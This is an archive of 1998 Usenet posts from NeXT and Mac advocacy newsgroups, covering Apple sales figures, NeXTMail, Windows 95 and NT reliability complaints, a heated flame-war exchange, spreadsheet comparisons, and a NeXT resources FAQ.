Message-ID: <jayfar-0105982211220001@downtown1-7.slip.netaxs.com>
References: <geordie-0105981017020001@130.130.117.53> <B16FC351-71A30@209.152.194.71>
Mail-Copies-To: jayfar@netaxs.com
In article <B16FC351-71A30@209.152.194.71>, "Paul Arthur"
<parthur@opNoSpam.net> wrote:
| Actually, Apple's 4th quarter was lower volume. I believe they shipped
| 625,000 machines in the last calendar quarter of 1997, and 650,000 in the
| first quarter of 1998. This is highly unusual since Apple usually has a
| good Christmas quarter, and the first quarter of any year is usually
| Apple's worst (in terms of unit shipments). This bodes well for future
| quarters, provided Apple doesn't screw things up somehow.
I had jotted it down on a scrap of paper, so I happen to have it right in
front of me. BTW, I think Apple's unit counts are on fiscal quarters,
which don't end exactly at the end of a month. For fiscal Q1 (calendar
Q4) the number is 635,00; you are correct with 650,000 for fiscal Q2. The
650,000 is 8% more than the year ago period.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 20:38:09 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6ie0uh$atq$1@xmission.xmission.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6idbp7$qq1$1@cronkite.cygnus.com> <354A3B5A.66C5@CONVEX.COM> <6idfff$qq1$3@cronkite.cygnus.com>
John Rudd <jrudd@cygnus.com> wrote:
: formatted messages. NeXTMail's own multi-media format (which predates Mime,
: I think.. or at least before Mime was widely accepted) is basically a
: uuencoded tar file of an rtf (file or directory).
IIRC, Mark Crispin came up with MIME as a standard way to describe the
formatting and attachments of a mail message, so that developers could
write clients with the same functionality of Mail.app.
.............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: jacobf@mindspring.com (Jacob Fuller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Complaints about MS products (was: Re: Flipping Joe's Bozo Bit)
Date: Sat, 02 May 1998 02:49:23 GMT
Organization: MindSpring Enterprises
Message-ID: <354a88fd.26701068@news.mindspring.com>
References: <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c0989 <MPG.fb4017d7b738828989725@news.itg.ti.com> <edewEsAv25.HEB@netcom.com>
I have a weird problem too Ed. Sometimes Windoze 95/98 will reverse my
mouse buttons, I just click them both really fast and it stops, but
thats annoying :-) I am installing BeOS tomorrow once I get my new MB
and CPU in, hope its better. Windows is not the best, the only reason
I use it is for games, I can run all my other stuff on Linux (I dont
like the version I have), and probably BeOS, if they have a Photoshop
like editor yet, and a good HTML "WYSIWYG" editor.
Disclaimer: Not responsible for mispelled words its 10:49 PM :-P
edew@netcom.com (Eric Dew) wrote:
>In article <MPG.fb4017d7b738828989725@news.itg.ti.com> jmcn@msg.ti.com (Jason McNorton) writes:
>>
>>You are VASTLY overestimating the downtime of Windows computers. I've
>>had just a few nasty things happen since Win95 was introduced, and I've
>>added HD's, cdroms, motherboard swaps.. You name it. I've seen other
>>people have a few problems, but the workarounds/fixes were fairly easy.
>>Maybe it comforts you to think that all Windows people do is
>>troubleshoot, but it's just not the case. I get work done, play games,
>>and have fun on all the Windows machines I've ever had. Sorry, but the
>>main thing that Macs I've used have done is crash. I have an older Mac
>>now that is having problems connecting to PPP. It gives a cryptic error
>>saying "PPP failed to initialize" even though I can see no problems.
>>--
>>A world without the Mac is a step closer to utopia.
>
>
>Ok, how's this? I use an NT at work. About once every other week, the
>keyboard decides to stop working. I have to mouse click everything off
>before I log off and reboot. Then it works ok, for another two or so
>weeks. Is this acceptable? My NeXT station at home has been on for about
>six months with occasional power-down when I take off for a weekend or
>longer.
>
>At work, our desktop machines are NTs, but we work with QNX, a unix variant.
>So, I telnet from NT to QNX. However, every once in a while, vi doesn't
>work. Mail from QNX to NT doesn't get printed (I send the same file to
>my netcom account and I can see it clearly). I can't copy-paste more than
>twenty lines into a file on qnx (via vi). So, if I need to copy-paste
>2000 lines, I either have to ftp it over to qnx or do ten copy-paste
>steps. Is this acceptable?
>
>Note that NT's telnet window uses the old-fashioned menu. Copy-paste requires
>alt-Edit-> Copy. MS Word, for example, uses the Ctrl-C. Having different
>UIs for copy-paste...acceptable? I don't think it is.
>
>Speaking of MS Word...some words at the beginning of a sentence must be
>UN-CAPITALIZED. Well, MS Word auto-capitalizes for me. Is there a preference
>menu item to stop that? Well, the closest I can find is Format->Change Case.
>It doesn't allow me to set a preference, but that's what I need to use to
>un-capitalize a letter. Is this acceptable? Why don't we have a NeXTSTEP
>style of preferences for all apps?
>
>Sometimes, MS Word doesn't allow me to use a particular font. Why's that?
>
>We all know that what you see on the
>screen ISN'T what's going to be printed, even when you look at the print
>preview. MS Excel has this problem. What I see in the columns are, when
>printed, written on top of each other (ok, just partially).
>
>And what's with this windows-in-a-windows crap? There's the application
>window, and then the document window within it. If you need to see multiple
>applications, you need to shrink the application window small enough to
>have enough screen real-estate to see other apps. But application windows
>don't have scroll bars, just the document window. So, if you shrink the
>app window, you might hide the doc window's scroll bar and you have do some
>juggling before you can get the doc window's scroll bars and shrink the doc
>window down to see the bars. It's a bunch of nonsense. Waste of screen
>real-estate, windows in windows, multiple apps if you open the app several
>times. Is this acceptable?
>
>Maybe Apple should start a new ad campaign: Is this acceptable? and do
>a compare and contrast. (Of course, the MacOS Finder is equally unacceptable
>in my book, as well as the fact that the scroll bars are on the right
>hand side, but I think that discussion has been through here more than once
>before.)
>
>EDEW
-= Jacob Fuller =-
-= jacobf@mindspring.com =-
-= Jacob's Tech Page =-
-= http://jf.simplenet.com =-
-= Quake Benchmark Project =-
-= http://jf.simplenet.com/quakebm =-
-= My RC5-64 Stats =-
-= http://rc5stats.distributed.net/emsearch.idc?ST=rebelhill@worldnet.att.net =-
-= My RC5-64 Team Stats =-
-= http://rc5stats.distributed.net/tmsummary.idc?TM=3403 =-
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 2 May 1998 05:16:06 GMT
Organization: @Home Network
Message-ID: <6iea6m$1i2$1@ha2.rdc1.sdca.home.com>
References: <6icrin$6ra@newsb.netnews.att.com> <6id0ln$hfv$1@ha2.rdc1.sdca.home.com>
<6id4ni$pt2$1@news.xmission.com> <6idd1p$qq1$2@cronkite.cygnus.com>
Mime-Version: 1.0
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Cc: jrudd@cygnus.com
In <6idd1p$qq1$2@cronkite.cygnus.com> John Rudd wrote:
> In <6id4ni$pt2$1@news.xmission.com> Don Yacktman wrote:
> > rriley@yahoo.com (Rex Riley) wrote:
> > > The World has gone "off-the-shelf" and custom engineered solutions
> headbutt
> > > against the trend. My neighbor launches and builds IS solutions around
> > > "off-the-shelf" solutions for the Navy. They just put-up a satellite
> last
> > > month for command & control Worldwide. What are they using?
> > >
> > > NT...
> >
> > If that doesn't scare you, it should. To think that something affecting
> > national security relies upon NT being stable sends shivers down my spine.
> > Worse than any horror flick I've ever watched...
> >
> >
>
> I had a similar thought. I was a Navy midshipman for a while, and I come
> from a very Navy family (luckily, so does my wife -- that way we don't have
> to argue over who to root for at the Army-Navy game ;-).
>
> The first thing I thought of was:
>
> You're sitting in the CIC (Combat Information Center) on your new destroyer.
> This is the latest class revision that uses all Windows NT off the shelf
> equipment. Suddenly you see incomming missile symbols on your displays.
You
> roll the trackball over to it and designate it as a surface to air missile
> target. You click the 'Launch' button...
>
> and up pops a windows saying that the current application has attempted to
> execute an illegal instruction.
>
> So, you dismiss this dialog and realize it's too late for a missile.. you
> click on the CIWS (Close In Weapons System (the Phalanyx anti-missile gatlin
> gun)) activation button..
>
> and you get the BLUE SCREEN OF DEATH.
>
Interestingly, it is the "Vincenes" incident which downed the Iraq jetliner
that prompted the new systems :-) It seems "threat analysis" was too
automated in the Vincenes shoot. This new NT server based system will bring
more data into the decision before they push the button FIRE...
> Yes, I'm sure the families of those sailors will be glad to know they saved
a
> few dollars on their taxes by going with off the shelf solutions.
>
> Or, how about those early win95 upgrades that would mail your system
> configuration to MS. Yeah, I want _THAT_ on my classified network.
>
> There's a reason for using customized and mission critical solutions in some
> situations. Now, to be fair, I'm sure they're not yet using NT to control
> ships, and especially not ships of the line.... and as much as I love my
> Nextstep/Openstep environment, and think it's perfectly stable for a user
> platform, I wouldn't use it to control a ship of the line either.
>
>
Not only is the the scope of the deployment of "off-the-shelf" solutions
underestimated, so too is committment to line duty. These servers provide
decision support from a triple-tier threat assessment architecture merging
satellite recon, surface radar and scenario assessment.
Carp about NT but while busy pounding your chests, serious money is being
thrown at deploying off-the-shelf hardware. It reminds me of not so long ago
when attitudes carped on Win3.x.
-r
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: Fri, 01 May 1998 22:44:21 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354A422E.5DF1@earthlink.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6idbp7$qq1$1@cronkite.cygnus.com> <354A3B5A.66C5@CONVEX.COM> <6idjhl$mch@nnrp3.farm.idt.net>
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To: JWL <echo4@idt.net>
JWL wrote:
> Services like Lip service which is an option that is unique to NeXTMail.
> I am sure there are windoze programs (now) that has similiar
> capabilities, but back in the early 90's, MS and all the win3.1 and
> win3.11 developers were still stratching their asses. Personally, I think
> that the compatibility issue was more of a corporate political issue than
> it was a technically issue. Anyway, that's my two cents concerning this
> issue.
Jay,
I'm hoping that Lip sevice makes a comeback with Rhapsody's
MailViewer.app myself. I mean, every Mac ships with a microphone (as
did the NeXT monitors) , so why not? I've been waiting to get Mail.app
on my Mac since they day of the NeXT/Apple merger!!
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: Fri, 01 May 1998 22:46:09 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354A4299.4D37@earthlink.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net>
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Don't listen to Maury. It's a great email app.!!!
Steve
Maury Markowitz wrote:
> Overall I think it's quite possibly thw worst mail app I've used.
> The interface bites, it's slow, it doesn't support folders-within-folders, it
> doesn't have filtering, quoting, support for POP3 or IMAP4 (let alone NNTP)
> etc etc etc (yes I know some of these can be added via 3rd party add ons).
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: Sat, 02 May 1998 01:52:22 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <354AC2A6.6BAD6592@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net>
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Maury Markowitz wrote:
> > What bothered me about the original post was that it unilaterally
> > assumed that blame for the incompatibility was Windows' fault.
>
> That's not how I read it! Far from it, I saw them assigning blame to NeXT!
> What led you to see it that way?
Not the article, but Arun Gupta's commentary at the end of it.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Sat, 02 May 1998 02:01:57 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <354AC4E5.52685F4B@nstar.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <slrn6kkmtm.nti.mbkennel@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> The relevant test is for comparision of two proportions from observed
> samples of data. Most likely it looked like this:
[cut]
> Given A1, A2, N1, N2 it is very easy to construct a test for the equality
> or nonequality of the underlying true proportion in both time periods.
All true. None of which addresses the fact that constructing a new
proportion from the two previous (uncorrected) proportions yields the
now-infamous, misleading "18%" number.
MJP
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Sat, 2 May 1998 01:31:47 -0500
Organization: KAOS
Message-ID: <199805020131472899965@sdn-ts-002txhousp16.dialsprint.net>
References: <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net>
Gary Philbin wrote:
> Joe Joe Joe. Come on. Give it up bud. At least have the brains to realize
> you got pissed on in classic fashion by someone who's way out of your
> league.
Out of his league for bad manners, I guess. I'm disheartened that Kris
posted such a childish attack, though not surprised that so many Mac
haters are flocking to it. Note to Kris: It says something when the
likes of "Fred" and Jason McNorton become one's most ardent supporters.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 2 May 1998 12:59:36 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6ifqeo$eke$1@xmission.xmission.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <199805020131472899965@sdn-ts-002txhousp16.dialsprint.net>
In comp.sys.next.advocacy John Bauer <drifterusa@sprintmail.com> wrote:
: > Joe Joe Joe. Come on. Give it up bud. At least have the brains to realize
: > you got pissed on in classic fashion by someone who's way out of your
: > league.
: Out of his league for bad manners, I guess. I'm disheartened that Kris
: posted such a childish attack, though not surprised that so many Mac
: haters are flocking to it. Note to Kris: It says something when the
: likes of "Fred" and Jason McNorton become one's most ardent supporters.
I understand and accept your feelings. I believe you are a reasonable
person. So I do not mind explaining why I flamed Joe as I did.
I felt and feel very strongly that a lack of support from ISVs is going to
make or break Rhapsody's ability to succeed in the marketplace. So when I
encountered the thread about Rhapsody ISV support, I decided to
participate.
In that thread, I was building the case that without ISV support from
first-tier vendors, a new platform would exclude from its potential market
an extremely large number of prospective adopters. Further, I was
preparing to make the judgment that so-called advocates who spend a
significant amount of energy rationalizing why these ISV products are not
only unneeded but unwanted are actually doing the platform a disservice by
artificially limiting its market to a small niche of advocates.
When I mentioned that not a single first-tier ISV had voiced support for
Rhapsody, Joe met my comment with a snotty "what's your point?," and went
on to say that due to how badly the OpenDoc coalition had performed, who
needed them anyway?
My evaluation of Joe's response was that he was employing
historical events selectively and ignoring the market demand for
first-tier ISV software products in order to justify the lack of ISV
support for Rhapsody. This is IMHO the definition of sophistry: to bend
and/or ignore the facts to support an argument.
At this point, I had a choice: respond to Joe's snotty and logically
flawed remark with logical argument, or respond in kind.
I actually had typed out an extensive logical response to Joe, in which I
composed a thesis statement that ISVs are critically important to
Rhapsody's success; explained using my first-hand historical knowledge of
WP OpenDoc and Novell NetWare for PowerPC development history why it was
much more Apple's fault than these ISVs why the coalition failed; and
exposited that advocacy meant being inclusive, not exclusive.
I tossed my response after spending a fair amount of time composing it
because I realized that in my experience with Joe--he's responded to a few
of my posts before and done the same thing--it wouldn't matter what the
facts were or how well an opinion was presented, that if it didn't fit
with Joe's notion of what reality should be, he would reject a rational
response out of hand with similar sophistry. Therefore I chose to respond
to his so-called logical argument of "what's your point?" with a deserved
and IMHO artful flame to put the pretense of logical argument to rest.
Some people--I would include Joe, Lawson, and others in this
category--have problems with what the Buddists call reality testing. These
problems stem from building and living in an expansive mental model that
is insulated from phenomena in the external world. People who live-in-a-model
show some interesting and repulsive results: they are always trying to
push back reality away from their model as if they were trying to push
away the tide with a broom.
This is manifested in the microcosm of Usenet by the constant sophistry of
certain platform advocates, designed to shoot down fact and therefore
preserve their model. I find this extremely distasteful, and I find it
impossible to communicate with people with this subtle mental malady. So I
have stopped trying to do the impossible.
................kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: Rob Blessin <bhi1@ix.netcom.com>
Newsgroups: comp.sys.next.advocacy
Subject: Windows 95 alters the space time continuum.
Date: Fri, 01 May 1998 14:40:58 -0600
Organization: Netcom
Message-ID: <354A335A.7FC4345E@ix.netcom.com>
Mime-Version: 1.0
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Hello NeXT/ Apple community:
Yes , Windows 95 , amazing stuff ... its great to know that I can
consistantly exude confidence and that by working on something really
important like promoting Openstep and Rhapsody can be frozen in time
and lost for ever by using Windows 95 to create it.
On several occasions I have been on line, entering quotes, answering
email , surfing the web, normal stuff.
I've always been impressed with Opensteps ability to multitask and
rarely does anything totally tweak to the point of a system panic,
usually an application freezes and you can kill it with out affecting
the rest of the stuff going on, usually 5 + applications I have to have
in synch and going, it just works.
Now Windows 95 on the other hand, lately I've been drafted into the
ranks of the Microsoft involuntary beta test army. As a low ranking beta
tester for this awesome computing environment, I would like to report
that on several noteworthy occasions within the last few weeks, Windows
95 has cost me personally lots of time and money. Nothing is more
frustrating than having Windows 95 in cooperation , I've decided with
Netcom disconnect my connection for no apparent reason, this gives rise
to a conspiracy theory of sorts.
Normally when the system disconnects from the isp it isn't a problem ,
you click a button and it redials , however about every 10th time ,
Windows 95 disconnects and freezes my highend pentium system completely.
The mouse won't move and is frozen in time, the keyboard becomes non
functional and upon rebooting after having to scan disk , because there
is no other way to shut Win95 down that I've discovered from this
predicament. Windows further enhances my computing experience when it
looses the modem driver and having to delete the modem and reboot until
it finds it.
I figure it has to be a conspiracy and the majority of the planet has
been conditioned to accept this Windows95 abuse. I say hell no , I'm not
going to take it any more, I will not go with the majority this time, in
fact I'm now convinced that hyping and promoting Openstep and Rhapsody
is not such a bad idea, I proved to myself it is better and I will not
fall under Mr. Bill's evil spell.
So the conspiracy must be that Microsoft spy network knows when people
are writing about alternative choices in computing and they activate the
Windows 95 computer freeze thing kind of like the men in black or it
could be a special feature integrated in the spaghetti code, the 150
Million Apple deal, yep bribage, they needed to find out, who to
disconnect from Openstep . I'm positive this has to be some kind of
thing that just affects we the chosen ones that try to promote something
other than Microsoft Windows 95 like Openstep.
Why would anyone continue to use something like Windows95 day in day out
knowing that there was this occasional problem, where the system freezes
, you are screwed , you didn't have everything set to autosave but using
Windows 95 , I guess it is socially acceptable, the system has nt froze
yet so I guess I will post this thread quickly.
What this group is letting everyone know is there is alternative
computing universe known as NeXTSTEP/ Openstep/ Rhapsody and its good
damn good.
The moral I would rather spend the extra time golfing than having to
reinvent projects that were lost because of Windows 95
dysfunctionality...
> Subject: Golf Mishap
>
>
>
> > Two guys are out one day golfing. One slices off to the right, one
> hooks
> > off to the left and they both go to retrieve their balls. The guy
> on the
> > right is hacking and hacking at the ball but, just can't lift it
> out of the
> > buttercups it has become lodged in. All of a sudden, up from the
> ground
> > comes Mother Nature and is she pissed!
> > "What the hell are you doing to my beautiful buttercups?" she
> asks.
> > "I'm just trying to get my golf ball out of them, lady", replies
> the
> > golfer.
> > "Well, you are really making me mad. Just look what you've done to
> my
> > buttercups. For this I must punish you. Your punishment will be
> an
> > entire
> > year without butter!!"
> > The golfer starts laughing hysterically which by now has just about
> worn
> > out
> > Mother Nature's patience. "What in the hell do you think is so
> funny
> > about
> > no butter for a year?" she screams at him.
> > "I'm not laughing about that - I'm laughing about my friend over
> there
> > whacking the hell out of your pussy willows!"
Best regards Rob Blessin
President
Black Hole Incorporated
www.blackholeinc.com
Offering Openstep an alternative to the Windows computing Universe ,
since 1993.
>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 2 May 1998 13:54:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B170D5F8-97503@206.165.43.21>
References: <6ifqeo$eke$1@xmission.xmission.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Kristofer Jon Magnusson <kris@xmission.xmission.com> said:
> Some people--I would include Joe, Lawson, and others in this
> category--have problems with what the Buddists call reality testing.
Interesting, so Joe and I get along so well because we have the same
personality disorder?
> These
> problems stem from building and living in an expansive mental model that
> is insulated from phenomena in the external world. People who live-in-a-
> model
> show some interesting and repulsive results: they are always trying to
> push back reality away from their model as if they were trying to push
> away the tide with a broom.
>
Of course, if you have a broom large enough, it is possible to do this,
given a place to stand, etc., etc...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Rudolf B. Blazek" <blazek@stt.msu.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Date: Sat, 2 May 1998 07:27:47 -0400
Organization: Michigan State University
Sender: blazek@entropy6
Message-ID: <Pine.NXT.3.96.980502071749.21696A-100000@entropy6>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net> <35455378.0@news.dca.net> <6i5p7v$d3f$1@dropit.pgh.net> <6i79b3$864$1@cnn.Princeton.EDU>
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To: Timothy Van Zandt <tvz@Princeton.EDU>
cc: me@venetia.pgh.pa.us
In-Reply-To: <6i79b3$864$1@cnn.Princeton.EDU>
On 29 Apr 1998, Timothy Van Zandt wrote:
> In <6i5p7v$d3f$1@dropit.pgh.net> me@venetia.pgh.pa.us wrote:
> > dwright@universal.dca.net (Darren Wright) wrote:
> > >
> > > Too bad Quantrix is not available on Windows hunh? Excel still
> > sucks bad.
> >
> > There is Improv for Windows. Improv on NeXT was always better than
> > Quantrix for what I needed to do.
>
> I find Improv and Quantrix to have pretty similar capabilities and interface.
> What are the advantages of Improv that you find? Just curious.
>
Here is my experience from using both, Improv and Quantrix:
- Improv is older, you cannot do graphics within Improv. You have
to start the presentation manager that comes with Improv.
The graphics can be B&W only, AFAIK. I remember having problems
trying to use colors.
- On the other hand, Improv used to have better help. The similarities
between Q and I are such that one can use I help to program in Q.
- I think that that help in the last version of Q is adequate now.
Most importantly, the functions seem to be documented now.
- I am not sure about the API, but Q can load bundles and comes with
QAPI. Hence there are a few bundles available for Quantrix (e.g. I
wrote a little utility for exporting simple tables to the web, and
liked the API, except that there is AFAIK no way to access the header/
footers of the various tables).
- Quantrix introduced some new bugs, of course :-)))
But overall, the fact that I can write bundles and use color
graphics within Quantrix, and also the price, are the reason
why I prefer Quantrix.
Good luck.
Rudy
---
Rudolf Blazek blazek@stt.msu.edu
Michigan State University (NeXTmail, Sun, MIME compatible)
Statistics and Probability http://www.stt.msu.edu/~blazek
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 2 May 1998 16:14:10 GMT
Organization: @Home Network
Message-ID: <6ifgoi$hdv$1@ha2.rdc1.sdca.home.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6idbp7$qq1$1@cronkite.cygnus.com> <354A3B5A.66C5@CONVEX.COM>
<6idjhl$mch@nnrp3.farm.idt.net> <354A422E.5DF1@earthlink.net>
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Cc: skellener@earthlink.net
In <354A422E.5DF1@earthlink.net> Steve Kellener wrote:
> JWL wrote:
> > Services like Lip service which is an option that is unique to NeXTMail.
> > I am sure there are windoze programs (now) that has similiar
> > capabilities, but back in the early 90's, MS and all the win3.1 and
> > win3.11 developers were still stratching their asses. Personally, I think
> > that the compatibility issue was more of a corporate political issue than
> > it was a technically issue. Anyway, that's my two cents concerning this
> > issue.
>
> Jay,
>
> I'm hoping that Lip sevice makes a comeback with Rhapsody's
> MailViewer.app myself. I mean, every Mac ships with a microphone (as
> did the NeXT monitors) , so why not? I've been waiting to get Mail.app
> on my Mac since they day of the NeXT/Apple merger!!
>
>
The problem with LipService has been, for me, that it doesn't fit culturally.
We have VoiceMail. Until LipService loses those big plush red lips and
becomes useful in a VoiceMail context, I don't think people are going to jump
onto the Service.
-r
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <13743893563222@digifix.com>
Date: 3 May 1998 03:50:06 GMT
Organization: Digital Fix Development
Message-ID: <14190894168021@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
